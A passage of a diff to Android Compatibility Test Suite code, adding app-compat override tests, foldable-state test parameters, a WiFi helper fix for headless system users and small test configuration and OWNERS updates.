-        Log.d(TAG, "calling getConfiguredNetworks()");
-        List<WifiConfiguration> configuredNetworks = getConfiguredNetworks();
+        Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager);
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager
+                .getConfiguredNetworks();
         Log.d(TAG, "Got " + configuredNetworks.size() + " networks: "
-                + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
         return configuredNetworks;
     }
-
-    public List<WifiConfiguration> getConfiguredNetworks() {
-        return mWifiManager.getConfiguredNetworks();
-    }
 }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
index b37176e..994459d 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
@@ -1,7 +1,3 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+
diff --git a/hostsidetests/accounts/AndroidTest.xml b/hostsidetests/accounts/AndroidTest.xml
index 8603a71..2d752c4 100644
--- a/hostsidetests/accounts/AndroidTest.xml
+++ b/hostsidetests/accounts/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for the CTS accounts host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
index 201b3de..fe3e959 100644
--- a/hostsidetests/apex/AndroidTest.xml
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="jar" value="CtsApexTestCases.jar" />
     </test>
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 91920ad..311a690 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -46,7 +46,11 @@
             || systemProduct.equals("aosp_x86")
             || systemProduct.equals("aosp_x86_64")
             || systemProduct.equals("aosp_tv_arm")
-            || systemProduct.equals("aosp_tv_arm64"));
+            || systemProduct.equals("aosp_tv_arm64")
+            || systemProduct.equals("aosp_car_arm")
+            || systemProduct.equals("aosp_car_arm64")
+            || systemProduct.equals("aosp_car_x86")
+            || systemProduct.equals("aosp_car_x86_64"));
   }
 
   /**
diff --git a/hostsidetests/appcompat/OWNERS b/hostsidetests/appcompat/OWNERS
index 11a1173..f5961d1 100644
--- a/hostsidetests/appcompat/OWNERS
+++ b/hostsidetests/appcompat/OWNERS
@@ -6,3 +6,4 @@
 andreionea@google.com
 mathewi@google.com
 satayev@google.com
+tomnatan@google.com
diff --git a/hostsidetests/appcompat/compatchanges/AndroidTest.xml b/hostsidetests/appcompat/compatchanges/AndroidTest.xml
index 94f82cc..3019a45 100644
--- a/hostsidetests/appcompat/compatchanges/AndroidTest.xml
+++ b/hostsidetests/appcompat/compatchanges/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAppCompatHostTestCases.jar" />
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
index 060c8ed..3212c99 100644
--- a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
+++ b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
@@ -46,8 +46,9 @@
  */
 @RunWith(AndroidJUnit4.class)
 public final class CompatChangesTest {
-  private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
-  private static final long CTS_SYSTEM_API_OVERRIDABLE_CHANGEID = 174043039;
+  private static final long CTS_SYSTEM_API_CHANGEID = 149391281L;
+  private static final long CTS_SYSTEM_API_OVERRIDABLE_CHANGEID = 174043039L;
+  private static final long UNKNOWN_CHANGEID = 123L;
 
   private static final String OVERRIDE_PACKAGE = "com.android.cts.appcompat.preinstalloverride";
 
@@ -115,6 +116,13 @@
   }
 
   @Test
+  public void putPackageOverrides_doesNothingIfChangeIsUnknown() {
+    CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
+            Collections.singletonMap(UNKNOWN_CHANGEID,
+                    new PackageOverride.Builder().setEnabled(true).build()));
+  }
+
+  @Test
   public void putPackageOverrides_success() {
     CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
             Collections.singletonMap(CTS_SYSTEM_API_OVERRIDABLE_CHANGEID,
@@ -164,6 +172,12 @@
   }
 
   @Test
+  public void removePackageOverrides_doesNothingIfChangeIsUnknown() {
+    CompatChanges.removePackageOverrides(OVERRIDE_PACKAGE,
+            Collections.singleton(UNKNOWN_CHANGEID));
+  }
+
+  @Test
   public void removePackageOverrides_overridePresentSuccess() {
     CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
             Collections.singletonMap(CTS_SYSTEM_API_OVERRIDABLE_CHANGEID,
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/AppCompatOverridesServiceTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/AppCompatOverridesServiceTest.java
new file mode 100644
index 0000000..db40089
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/AppCompatOverridesServiceTest.java
@@ -0,0 +1,343 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
+import android.platform.test.annotations.Presubmit;
+
+/**
+ * Tests that App Compat overrides are added/removed for a test package via the Device Config flags
+ * in the 'app_compat_overrides' namespace, following both flag changes and package updates.
+ *
+ * <p>Build/Install/Run:
+ * atest com.android.cts.appcompat.AppCompatOverridesServiceTest
+ */
+@Presubmit
+public class AppCompatOverridesServiceTest extends CompatChangeGatingTestCase {
+    private static final String TEST_APK = "CtsHostsideCompatChangeTestsApp.apk";
+    private static final String TEST_PKG = "com.android.cts.appcompat.compatchanges";
+
+    private static final String OVERRIDE_PKG = "com.android.cts.appcompat.preinstalloverride";
+
+    private static final String OVERRIDE_PKG_VERSION_1_FILENAME =
+            "appcompat_preinstall_override_versioncode1_release.apk";
+    private static final String OVERRIDE_PKG_VERSION_2_FILENAME =
+            "appcompat_preinstall_override_versioncode2_release.apk";
+
+    private static final long CTS_CHANGE_ID = 174043039L;
+
+    private static final String DEVICE_CONFIG_ADB_COMMAND_FORMAT =
+            "device_config %s app_compat_overrides %s";
+
+    private static final String OVERRIDE_FORMAT = "{%s=%b}";
+    private static final String OVERRIDE_WITH_VERSIONS_FORMAT = "{%s=[%d,%d,%b]}";
+
+    private static final String FLAG_OWNED_CHANGE_IDS = "owned_change_ids";
+    private static final String FLAG_REMOVE_OVERRIDES = "remove_overrides";
+
+    public static final int WAIT_TIME_MS = 1_000;
+
+    private String initialOwnedChangeIdsValue;
+    private String initialRemoveOverridesValue;
+
+    @Override
+    protected final void setUp() throws Exception {
+        super.setUp();
+        installPackage(TEST_APK, true);
+        runCommand("am compat reset-all " + OVERRIDE_PKG);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 1");
+        deleteFlagValue(OVERRIDE_PKG);
+        initialOwnedChangeIdsValue = getFlagValue(FLAG_OWNED_CHANGE_IDS);
+        putFlagValue(FLAG_OWNED_CHANGE_IDS, String.valueOf(CTS_CHANGE_ID));
+        initialRemoveOverridesValue = getFlagValue(FLAG_REMOVE_OVERRIDES);
+        deleteFlagValue(FLAG_REMOVE_OVERRIDES);
+    }
+
+    @Override
+    protected final void tearDown() throws Exception {
+        super.tearDown();
+        runCommand("am compat reset-all " + OVERRIDE_PKG);
+        uninstallPackage(TEST_PKG, true);
+        uninstallPackage(OVERRIDE_PKG, false);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0");
+        deleteFlagValue(OVERRIDE_PKG);
+        restoreFlagValue(FLAG_OWNED_CHANGE_IDS, initialOwnedChangeIdsValue);
+        restoreFlagValue(FLAG_REMOVE_OVERRIDES, initialRemoveOverridesValue);
+    }
+
+    public void testPackageOverrideFlagPackageInstalledAfterFlagAdded() throws Exception {
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":::true");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isFalse();
+
+        // Now install the app and the override should be applied
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+        Thread.sleep(WAIT_TIME_MS);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+
+        // Now uninstall the app and the override should be removed
+        uninstallPackage(OVERRIDE_PKG, false);
+        Thread.sleep(WAIT_TIME_MS);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isFalse();
+    }
+
+    public void testPackageOverrideFlagForAllVersions() throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":::true");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+
+        // Now update to newer app version and the override should still be applied
+        installPackage(OVERRIDE_PKG_VERSION_2_FILENAME, false);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+    }
+
+    public void testPackageOverrideFlagForNewerVersion() throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":2::true");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_WITH_VERSIONS_FORMAT, OVERRIDE_PKG, 2, Long.MAX_VALUE,
+                        true));
+        assertThat(ctsChange.hasOverrides).isFalse();
+
+        // Now update to newer app version and the override should be applied
+        installPackage(OVERRIDE_PKG_VERSION_2_FILENAME, false);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_WITH_VERSIONS_FORMAT, OVERRIDE_PKG, 2, Long.MAX_VALUE,
+                        true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+    }
+
+    public void testPackageOverrideFlagForOlderVersion() throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + "::1:true");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_WITH_VERSIONS_FORMAT, OVERRIDE_PKG, Long.MIN_VALUE, 1,
+                        true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+
+        // Now update to newer app version and the override should no longer be applied
+        installPackage(OVERRIDE_PKG_VERSION_2_FILENAME, false);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_WITH_VERSIONS_FORMAT, OVERRIDE_PKG, Long.MIN_VALUE, 1,
+                        true));
+        assertThat(ctsChange.hasOverrides).isFalse();
+    }
+
+    public void testPackageOverrideFlagWithMultipleVersionRanges() throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + "::1:true," + CTS_CHANGE_ID + ":2::false");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_WITH_VERSIONS_FORMAT, OVERRIDE_PKG, Long.MIN_VALUE, 1,
+                        true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+
+        // Now update to newer app version and another override should be applied
+        installPackage(OVERRIDE_PKG_VERSION_2_FILENAME, false);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_WITH_VERSIONS_FORMAT, OVERRIDE_PKG, 2, Long.MAX_VALUE,
+                        false));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, false));
+    }
+
+    public void testPackageOverrideFlagChangedToEmpty() throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":::true");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+
+        // Now remove entry in flag and the override should be removed
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + "");
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isFalse();
+    }
+
+    public void testPackageOverrideFlagChangedToEmptyThenPackageUninstalled()
+            throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":::true");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+
+        // Now remove entry in flag and the override should be removed
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + "");
+        uninstallPackage(OVERRIDE_PKG, false);
+        Thread.sleep(WAIT_TIME_MS);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isFalse();
+    }
+
+    public void testPackageOverrideFlagPackageUninstalledAndThenFlagChangedToEmpty()
+            throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":::true");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+
+        // Now uninstall the app and the override should be removed
+        uninstallPackage(OVERRIDE_PKG, false);
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + "");
+        Thread.sleep(WAIT_TIME_MS);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isFalse();
+    }
+
+    public void testRemoveOverridesFlag() throws Exception {
+        installPackage(OVERRIDE_PKG_VERSION_1_FILENAME, false);
+
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":::false");
+
+        Change ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, false));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, false));
+
+        // Now add the package to the remove overrides flag and the override should be removed
+        putFlagValue(FLAG_REMOVE_OVERRIDES, OVERRIDE_PKG + "=*");
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isFalse();
+
+        // Now change the package override flag and the override should still be removed
+        putFlagValue(OVERRIDE_PKG, CTS_CHANGE_ID + ":::true");
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isFalse();
+
+        // Now delete the remove overrides flag and the override should be applied again
+        deleteFlagValue(FLAG_REMOVE_OVERRIDES);
+
+        ctsChange = getChange(CTS_CHANGE_ID);
+        assertThat(ctsChange.hasRawOverrides).isTrue();
+        assertThat(ctsChange.rawOverrideStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+        assertThat(ctsChange.hasOverrides).isTrue();
+        assertThat(ctsChange.overridesStr).isEqualTo(
+                String.format(OVERRIDE_FORMAT, OVERRIDE_PKG, true));
+    }
+
+    private Change getChange(long changeId) throws Exception {
+        Change ctsChange = getOnDeviceChangeIdConfig(changeId);
+        assertWithMessage("CTS specific change %s not found on device", changeId)
+                .that(ctsChange).isNotNull();
+        return ctsChange;
+    }
+
+    private void restoreFlagValue(String flagName, String initialValue) throws Exception {
+        if (initialValue.equals("null")) {
+            deleteFlagValue(flagName);
+        } else {
+            putFlagValue(flagName, initialValue);
+        }
+    }
+
+    private String getFlagValue(String flagName) throws Exception {
+        return runCommand(String.format(DEVICE_CONFIG_ADB_COMMAND_FORMAT, "get", flagName));
+    }
+
+    private void deleteFlagValue(String flagName) throws Exception {
+        runCommand(String.format(DEVICE_CONFIG_ADB_COMMAND_FORMAT, "delete", flagName));
+    }
+
+    private void putFlagValue(String flagName, String value) throws Exception {
+        runCommand(String.format(DEVICE_CONFIG_ADB_COMMAND_FORMAT, "put", flagName + " " + value));
+    }
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
index 70ba008..66fdf19 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
@@ -30,8 +30,8 @@
 
     private static final String OVERRIDE_PKG = "com.android.cts.appcompat.preinstalloverride";
 
-    private static final long CTS_CHANGE_ID = 149391281L;
     private static final long CTS_OVERRIDABLE_CHANGE_ID = 174043039L;
+    private static final long UNKNOWN_CHANGEID = 123L;
 
     @Override
     protected void setUp() throws Exception {
@@ -78,6 +78,19 @@
         assertThat(ctsChange.hasOverrides).isFalse();
     }
 
+    public void testPutPackageOverridesWhenChangeIdUnknown() throws Exception {
+        installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+        runDeviceCompatTest(TEST_PKG, ".CompatChangesTest",
+                "putPackageOverrides_doesNothingIfChangeIsUnknown",
+                /*enabledChanges*/ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
+
+        Change ctsChange = getOnDeviceChangeIdConfig(UNKNOWN_CHANGEID);
+        assertWithMessage("Unknown change %s is found on device", UNKNOWN_CHANGEID)
+                .that(ctsChange).isNull();
+    }
+
     public void testPutPackageOverridesForAllVersions() throws Exception {
         installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
 
@@ -203,6 +216,19 @@
         assertThat(ctsChange.hasOverrides).isFalse();
     }
 
+    public void testRemovePackageOverridesWhenChangeIdUnknown() throws Exception {
+        installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+        runDeviceCompatTest(TEST_PKG, ".CompatChangesTest",
+                "removePackageOverrides_doesNothingIfChangeIsUnknown",
+                /*enabledChanges*/ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
+
+        Change ctsChange = getOnDeviceChangeIdConfig(UNKNOWN_CHANGEID);
+        assertWithMessage("Unknown change %s is found on device", UNKNOWN_CHANGEID)
+                .that(ctsChange).isNull();
+    }
+
     public void testRemovePackageOverridesWhenOverridePresent() throws Exception {
         installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
 
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index de060ff..7b8f736 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -63,10 +63,14 @@
             "FGS_BG_START_RESTRICTION_CHANGE_ID",
             "FORCE_NON_RESIZE_APP",
             "FORCE_RESIZE_APP",
+            "OVERRIDE_CAMERA_ROTATE_AND_CROP_DEFAULTS",
+            "OVERRIDE_CAMERA_RESIZABLE_AND_SDK_CHECK",
+            "OVERRIDE_CAMERA_ROTATE_AND_CROP",
             "IGNORE_ALLOW_BACKUP_IN_D2D",
             "IGNORE_FULL_BACKUP_CONTENT_IN_D2D",
             "NEVER_SANDBOX_DISPLAY_APIS",
             "OVERRIDE_MIN_ASPECT_RATIO",
+            "OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY",
             "OVERRIDE_MIN_ASPECT_RATIO_LARGE",
             "OVERRIDE_MIN_ASPECT_RATIO_MEDIUM"
     );
diff --git a/hostsidetests/appcompat/hiddenapi/AndroidTest.xml b/hostsidetests/appcompat/hiddenapi/AndroidTest.xml
index 6064214..5313f56 100644
--- a/hostsidetests/appcompat/hiddenapi/AndroidTest.xml
+++ b/hostsidetests/appcompat/hiddenapi/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostsideHiddenapiTests.jar" />
diff --git a/hostsidetests/appcompat/strictjavapackages/AndroidTest.xml b/hostsidetests/appcompat/strictjavapackages/AndroidTest.xml
index 98a4505..a809e47 100644
--- a/hostsidetests/appcompat/strictjavapackages/AndroidTest.xml
+++ b/hostsidetests/appcompat/strictjavapackages/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="jar" value="CtsStrictJavaPackagesTestCases.jar" />
     </test>
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index f3ba06f..b0df2bb 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -142,6 +142,7 @@
                     "Landroid/gsi/IImageService;",
                     "Landroid/gsi/IProgressCallback;",
                     "Landroid/gsi/MappedImage;",
+                    "Landroid/gui/TouchOcclusionMode;",
                     "Landroid/hardware/contexthub/V1_0/AsyncEventType;",
                     "Landroid/hardware/contexthub/V1_0/ContextHub;",
                     "Landroid/hardware/contexthub/V1_0/ContextHubMsg;",
@@ -190,7 +191,6 @@
                     "Landroid/os/IInputConstants;",
                     "Landroid/os/InputEventInjectionResult;",
                     "Landroid/os/InputEventInjectionSync;",
-                    "Landroid/os/TouchOcclusionMode;",
                     "Lcom/android/internal/util/FrameworkStatsLog;"
             );
 
diff --git a/hostsidetests/appsearch/AndroidTest.xml b/hostsidetests/appsearch/AndroidTest.xml
index 5b8ebc2..229e352 100644
--- a/hostsidetests/appsearch/AndroidTest.xml
+++ b/hostsidetests/appsearch/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for the CTS AppSearch host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 3524357..620c9eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -19,6 +19,9 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.CddTest;
@@ -435,7 +438,9 @@
     private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (mLaunchApiLevel >= 31) {
+        final int firstApiLevel =
+                Math.min(getFirstApiLevel(getDevice()), getVendorApiLevel(getDevice()));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
